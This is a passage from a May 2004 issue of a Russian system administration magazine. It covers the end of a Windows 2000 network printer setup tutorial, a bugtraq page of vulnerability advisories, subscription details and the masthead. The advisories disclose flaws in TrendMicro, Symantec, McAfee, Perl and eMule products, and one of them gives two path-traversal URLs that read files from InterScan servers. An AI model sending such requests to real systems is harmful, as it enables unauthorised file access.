Page 94: 018 Системный Администратор 05 2004

92

образование

На рис. 2 продемонстрировано, что служба DHCP бу-дет выдавать устройству с именем HP1200_1, обладаю-щим сетевым интерфейсом с MAC-адресом 0001e64a49cb,один и тот же IP-адрес – 192.168.2.1.

После настройки службы DHCP и веб-интерфейса мож-но приступить к установке сетевого принтера на серверепечати. Принтер устанавливается как локальный, с той раз-ницей, что он подключается к стандартному порту TCP/IP.Порт имеет два параметра – имя и IP-адрес. Имя портаобразуется исходя из IP-адреса: IP_xxx.xxx.xxx.xxx. Однакорекомендуется сделать так, чтобы имя порта совпадало ссетевым именем принтера. Этот шаг упростит админист-рирование принтера в будущем. Для установки принтерана сервере печати необходимо выполнить следующее:! Щелкнуть по кнопке Start, выбрать команду Settings,

затем щелкнуть на Printers, чтобы открыть папкуPrinters;

! Дважды щелкнуть на значок Add Printers, чтобы запус-тить мастер установки принтера;

! Щелкните по кнопке Next, чтобы мастер Add PrinterWizard начал работу;

! В появившемся окне предлагается сделать выбор спо-соба подключения принтера – в качестве локальногоили сетевого. Необходимо выбрать опцию Local Printer(локальный принтер) и удалить флажок из поля Auto-matically Detect My Printer (автоматическое определе-ние принтера);

! В следующем окне необходимо выбрать тип порта. Вы-берите опцию Create A New Port (создать новый порт),а в раскрывающемся списке – Standard Port TCP/IP(стандартный порт TCP/IP). После этого Windows 2000запустит мастер Add Standard TCP/IP Printer Port Wizard;

! В появившемся окне необходимо ввести IP-адрес и на-звание порта в соответствии с поставленной задачей(см. рис. 3). Необходимо помнить, что желательно, что-бы принтер был подключен к сети, т.к. после созданияпорта Windows пытается соединиться с принтером, и вслучае возникновения ошибки связи будет запрошенадополнительная информация (см. рис. 4). После ус-пешного соединения с принтером мастер Add StandardTCP/IP Printer Port Wizard заканчивает свою работу;

Ðèñóíîê 2

! Выберите устанавливаемый принтер из списка. В томслучае если драйвера принтера не являются стандар-тными, нажмите на кнопку Have Disk… и укажите путьк драйверу;

! После установки драйвера в появившемся окне PrinterSharing выберите опцию Share As для того, чтобы сде-лать принтер доступным для других пользователейсети, и укажите сетевое имя принтера в соответствиис принятым соглашением об именах, например,HP1200_1 (см. рис. 5). Щелкните по кнопке Next;

! Введите локальное имя принтера (см. рис. 6) и запол-ните поля, характеризующие принтер, например, егоместоположение. Локальное имя принтера также дол-жно удовлетворять принятому соглашению об именах,например, HP LaserJet 1200 (1);

! По окончании установки принтера вам будет предло-жено распечатать тестовую страницу.

На этом настройка принтера не закончена: необходи-мо определить параметры безопасности принтера, дляэтого в Active Directory необходимо создать две группыбезопасности. Члены одной из этих групп смогут толькопечатать на этом принтере, члены другой – управлятьвсей очередью печати и состоянием принтера. В соот-ветствии с принятыми правилами наименования групп

Ðèñóíîê 4

Ðèñóíîê 3

Page 95: 018 Системный Администратор 05 2004

93№5(18), май 2004

образование

(см. раздел «Теория») первая группа будет называтьсяHP1200-Print, вторая – HP1200-Print Managers. Посколь-ку в средних и крупных организациях используется не-сколько сетевых принтеров, то в AD рекомендуется со-здать OU, например, Network Printers, в котором будутнаходиться OU, названия которых совпадают с названи-ями принтеров. В каждом из этих OU будет содержатьсятри объекта – сетевой принтер, опубликованный в AD, идве группы безопасности, определяющие уровень дос-тупа к принтеру (см. рис. 7). Наличие такой структурыпозволяет реализовать автоматизированное подключе-ние сетевых принтеров тем пользователям, которые име-ют права работать с этим принтером.

После окончания настройки нужно выполнить на-стройку безопасности принтера. Для этого необходимовойти в свойства принтера на сервере печати во вклад-ку Security (безопасность). В этой вкладке необходимо

Ðèñóíîê 5

Ðèñóíîê 6

удалить группу Everyone (все), т.к. в противном случаепринтер будет подключаться ко всем пользователям сети,и добавить две группы безопасности, соответствующиеданному принтеру, в данном случае HP1200_1-Print иHP1200_1-Print Managers. Для группы HP1200_1-Printнеобходимо установить в разделе Permissions (разреше-ния) флажок напротив свойства Print (см. рис .8), а длягруппы HP1200_1-Print Managers – флажки напротив Print(печать) и Manage Documents (управление документами).Ставить флажок напротив Manage Printers не рекомен-дуется, поскольку управление принтерами подразумева-ет возможность изменять свойства принтера, удалятьего. По мнению автора, такими привилегиями может об-ладать только системный администратор.

На этом установка и настройка сетевого принтера за-вершены.

В следующей статье будет описан процесс созданиясценария, который, основываясь на данных AD, будет вовремя регистрации пользователя в сети обеспечиватьавтоматическое подключение/отключение принтеров взависимости от членства в соответствующих группах бе-зопасности.

Ðèñóíîê 7

Ðèñóíîê 8

Page 96: 018 Системный Администратор 05 2004

94

bugtraq

Доступ к произвольным файламв TrendMicro InterScanПрограмма: TrendMicro InterScan 3.5.Опасность: Средняя.Описание: Уязвимость обнаружена в TrendMicro InterScanVirusWall. Удаленный пользователь может просматриватьфайлы, расположенные на целевой системе. Пример:

URL производителя: http://www.trendmicro.com.Решение: Способов устранения обнаруженной уязвимо-сти не существует в настоящее время.

http://[target]:8080/ishttpd/localweb/java/?/../../../ ↵↵↵↵↵ishttpd.exe

http://[target]:8080/ishttpd /localweb/java/?/../../../ ↵↵↵↵↵../../../../../autoexec.bat

Переполнение стекового буферав Symantec Norton AntiSpam в sysspam.dllПрограмма: Symantec Norton AntiSpam 2004.Опасность: Высокая.Описание: Переполнение буфера обнаружено в NortonAntiSpam в sysspam.dll ActiveX-компоненте. Удаленныйпользователь может выполнить произвольный код на це-левой системе.

SymSpamHelper Class (c:\program files\common files\symantec shared\antispam\symspam.dll) устанавливается поумолчанию и помечен как безопасный для сценариев.Удаленный пользователь может сконструировать HTML,который, когда будет загружен целевым пользователем,вызовет dll через LaunchCustomRuleWizard-метод и пред-ставит чрезмерно длинный параметр, чтобы вызвать пе-реполнение стекового буфера. Код будет выполнен с при-вилегиями целевого пользователя.URL производителя: http://www.symantec.com/antispam.Решение: Установите обновление, доступное через LiveUpdate.

Переполнение буфера в McAfee FreeScanActiveX ControlПрограмма: McAfee FreeScan.Опасность: Высокая.Описание: Переполнение буфера обнаружено в McAfeeFreeScan ActiveX управлении. Удаленный пользовательможет выполнить произвольный код на системе.

Удаленный пользователь может сконструировать HTMl-файл, который, когда будет загружен целевым пользова-телем, вызовет McFreeScan.CoMcFreeScan.1-объект, что-бы получить информацию о целевой системе пользовате-ля, типа имен пути и имени пользователя.

Также сообщается, что переполнение буфера обнару-жено в параметре ScanParam. Уязвимость может исполь-зоваться для выполнения произвольного кода. Уязвимыпользователи, которые предварительно запускали McAfeeFreeScan-службу.URL производителя: http://us.mcafee.com/root/mfs/default.asp?cid=9914Решение: Способов устранения обнаруженной уязвимо-сти не существует в настоящее время.

Переполнение буфера в Symantec SecurityCheck ActiveX в GetPrivateProfileString()Программа: Symantec Security Check.Опасность: Высокая.Описание: Уязвимость обнаружена в Symantec SecurityCheck в ActiveX-управлении, отвечающем за обнаруже-ние вирусов. Удаленный пользователь может выполнитьпроизвольный код на целевой системе.

Удаленный пользователь может сконструировать HTMl-файл, который вызовет переполнение буфера в SymantecRuFSI Utility Class ActiveX control (rufsi.dll) в объектеSymantec.SymVAFileQuery.1' GetPrivateProfileString() фун-кции. Уязвимы системы, на которых предварительно былзапущен Symantec Security Check.URL производителя: http://www.symantec.com.Решение: Способов устранения обнаруженной уязвимо-сти не существует в настоящее время.

Переполнение буфера при обработкеимени файла в Perl и ActivePerlПрограмма: ActivePerl 5.x Perl 5.x.Опасность: Критическая.Описание: Уязвимость обнаружена в Perl и ActivePerl. Зло-намеренный пользователь может скомпрометировать уяз-вимую систему.

Злонамеренный пользователь может представитьчрезмерно большое имя файла с обратными слешами вконце, чтобы вызвать переполнение буфера в win32_stat()-функции и выполнить произвольный код на уязвимой си-стеме. Уязвимость может эксплуатироваться пользовате-лями, способными передать специально сформированныйпуть к Perl-сценарию (например, через веб-сервер).URL производителя: http://public.activestate.com.Решение: Установите соответствующие обновления:1. Perl 5.9.x development branch: http://public.activestate.com/

cgi-bin/perlbrowse?patch=224662. Perl 5.8.x maintenance branch: http://public.activestate.com/

cgi-bin/perlbrowse?patch=22552

Составил Александр Антипов

Удаленное переполнение буфера в eMuleПрограмма: eMule 0.42d.Опасность: Высокая.Описание: Уязвимость обнаружена в eMule в декодирова-нии шестнадцатиричных строк. Удаленный пользовательможет выполнить произвольный код на целевой системе.

Переполнение стекового буфера обнаружено в функ-ции DecodeBase16(), вызываемой в коде веб-сервера и вкоде IRC-клиента.

Удаленный пользователь, например, может послатьспециально обработанную IRC SENDLINK-команду целе-вому пользователю, чтобы выполнить произвольный кодна целевой системе.URL производителя: http://www.emule-project.net.Решение: Установите обновленную версию программы:http://www.emule-project.net/home/perl/general.cgi?l=1&rm=download.

Page 97: 018 Системный Администратор 05 2004

95№5(18), май 2004

подписка на II полугодие 2004

Подписныеиндексы:

81655по каталогуагентства«Роспечать»

87836по каталогуагентства«Пресса России»

Российская Федерация! Подписной индекс: 81655

Каталог агентства «Роспечать»! Подписной индекс: 87836

Объединенный каталог «Пресса России»Адресный каталог «Подписка за рабочим столом»Адресный каталог «Библиотечный каталог»

! Альтернативные подписные агентства:Агентство «Интер-Почта» (095) 500-00-60, курьерскаядоставка по МосквеАгентство «Вся Пресса» (095) 787-34-47Агентство «Курьер-Прессервис»

! Подписка On-linehttp://www.arzy.ruhttp://www.gazety.ruhttp://www.presscafe.ru

СНГВ странах СНГ подписка принимается в почтовых отделе-ниях по национальным каталогам или по списку номенк-латуры АРЗИ:! Казахстан – по каталогу «Российская Пресса» через

ОАО «Казпочта» и ЗАО «Евразия пресс»! Беларусь – по каталогу изданий стран СНГ через РГО

«Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)

! Узбекистан – по каталогу «Davriy nashrlar» российскиеиздания через агентство по распространению печати«Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик,5/3, офис 33)

! Азербайджан – по объединенному каталогу российс-ких изданий через предприятие по распространениюпечати «Гасид» (370102, г. Баку, ул. Джавадхана, 21)

! Армения – по списку номенклатуры «АРЗИ» черезГЗАО «Армпечать» (375005, г.Ереван, пл.Сасунци Да-вида, д.2) и ЗАО «Контакт-Мамул» (375002, г. Ереван,ул.Сарьяна, 22)

! Грузия – по списку номенклатуры «АРЗИ» через АО«Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская,29 ) и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахур-дия, 42)

! Молдавия – по каталогу через ГП «Пошта Молдавей»(МД-2012, г.Кишинев, бул.Штефан чел Маре, 134)по списку через ГУП «Почта Приднестровья» (МD-3300,г.Тирасполь, ул.Ленина, 17)по прайслисту через ООО Агентство «Editil Periodice»(2012, г.Кишинев, бул. Штефан чел Маре, 134)

! Подписка для Украины:Киевский главпочтампПодписное агентство «KSS»Телефон/факс (044)464-0220

Page 98: 018 Системный Администратор 05 2004

96

СИСТЕМНЫЙ АДМИНИСТРАТОР№5(18), Май, 2004 год

РЕДАКЦИЯИсполнительный директорВладимир ПоложевецОтветственный секретарьНаталья Хвостова[email protected]Технический редакторВладимир ЛукинРедакторАндрей БешковНаучно-технические консультантыВалерий ЦукановДмитрий Горяинов

РЕКЛАМНАЯ СЛУЖБАтел./факс: (095) 928-8253Константин Меделянreс[email protected]

Верстка и оформление[email protected][email protected]Дизайн обложкиНиколай Петрочук

103045, г. Москва,Ананьевский переулок, дом 4/2 стр. 1тел./факс: (095) 928-8253Е-mail: [email protected]: www.samag.ru

РУКОВОДИТЕЛЬ ПРОЕКТАПетр ПоложевецУЧРЕДИТЕЛИВладимир ПоложевецАлександр Михалев

ИЗДАТЕЛЬЗАО «Издательский дом«Учительская газета»

Отпечатано типографиейГП «Московская Типография №13»Тираж 7000 экз.

Журнал зарегистрированв Министерстве РФ по делам печати,телерадиовещания и средств мас-совых коммуникаций (свидетельствоПИ № 77-12542 от 24 апреля 2002г.)

За содержание статьи ответственностьнесет автор. За содержание рекламно-го обьявления ответственность несетрекламодатель. Все права на опубли-кованные материалы защищены. Ре-дакция оставляет за собой право изме-нять содержание следующих номеров.

ЧИТАЙТЕВ СЛЕДУЮЩЕМНОМЕРЕ:

VMWare со всемиудобствамиВ данной статье будет рассказано, какдобиться увеличения быстродействиягостевых систем с помощью VMWareTools. Также будут освещены некото-рые полезные возможности, суще-ственно облегчающие взаимодействиемежду гостевой и основной системой.

Оптимизация работы PHPпри помощи PHPAcceleratorВ статье «Кэширование веб-сценари-ев» февральского номера журналабыла затронута тема оптимизации сай-тов. Рассмотренный способ являетсянесколько трудоёмким. Одним из бо-лее эффективных решений являетсяPHPAccelerator. О нём, собственно, ипойдет разговор в данной статье.

Специальные переменныев PerlОдним из достоинств языка Perl яв-ляется то, что он предоставляет про-граммисту огромную свободу выборакак средств решения той или иной за-дачи, так и стиля программирования.Порой конструкции, для создания ко-торых на Паскале требуется код в пол-экрана, на Perl могут быть записаныв одну-две строки и при этом полнос-тью сохранить читабельность. И сре-ди средств, обеспечивающих такиевозможности, особое место занима-ют встроенные переменные, которыеи будут рассмотрены в данной статье.

Эффективный почтовыйсервер на базе MTA eximВ этой статье пойдет речь о созданииэффективного почтового сервера набазе MTA exim. Первый вопрос, кото-рый, конечно же, приходит в голову: «Апочему именно exim?». Отвечают наэтот вопрос по-разному, поэтому я ска-жу, что меня так привлекает в exim:! логичная схема обработки почты;! высокая скорость работы;! удобный формат конфигурацион-

ного файла;! широчайшие возможности по по-

иску каких-либо значений в фай-лах, СУБД, LDAP;

! встроенная поддержка smtp-аутен-тификации;

! небольшое число найденных уяз-вимостей;

! очень большое количество воз-можностей, а также чрезвычайнаягибкость;

! возможность полной заменыsendmail.

На мой взгляд, exim является весь-ма и весьма удачным продуктом, незря он используется по умолчанию вОС Debian GNU Linux. Два большихминуса exim состоят в том, что отсут-ствует качественная документация нарусском языке и возникает необходи-мость правки Makefile для включениятех или иных возможностей exim.

Итак, для начала подумаем, что дол-жна содержать «идеальная» с точкизрения удобства администрирования ииспользования почтовая система.

Mutt как инструментадминистратораMutt – это функциональный почтовыйклиент с текстовым интерфейсом, ко-торый представляет собой классичес-кий MUA, не обладающий функциямиMTA и MDA. Это значит, что Mutt ра-ботает с почтой, которая уже находит-ся в почтовом ящике пользователя,предоставляя возможность удобноэтой почтой оперировать (читать, от-вечать на сообщения и прочее). В тоже время он не может самостоятель-но перемещать почту между машина-ми и доставлять почту. Большинствоизвестных нам почтовых клиентовпредставляют собой некие «комбай-ны», которые сочетают в себе функ-ции MUA, MTA и MDA, к примеру, TheBat и Outlook, но на практике Mutt на-много более гибок, позволяя выби-рать те инструменты, к которым поль-зователь привык.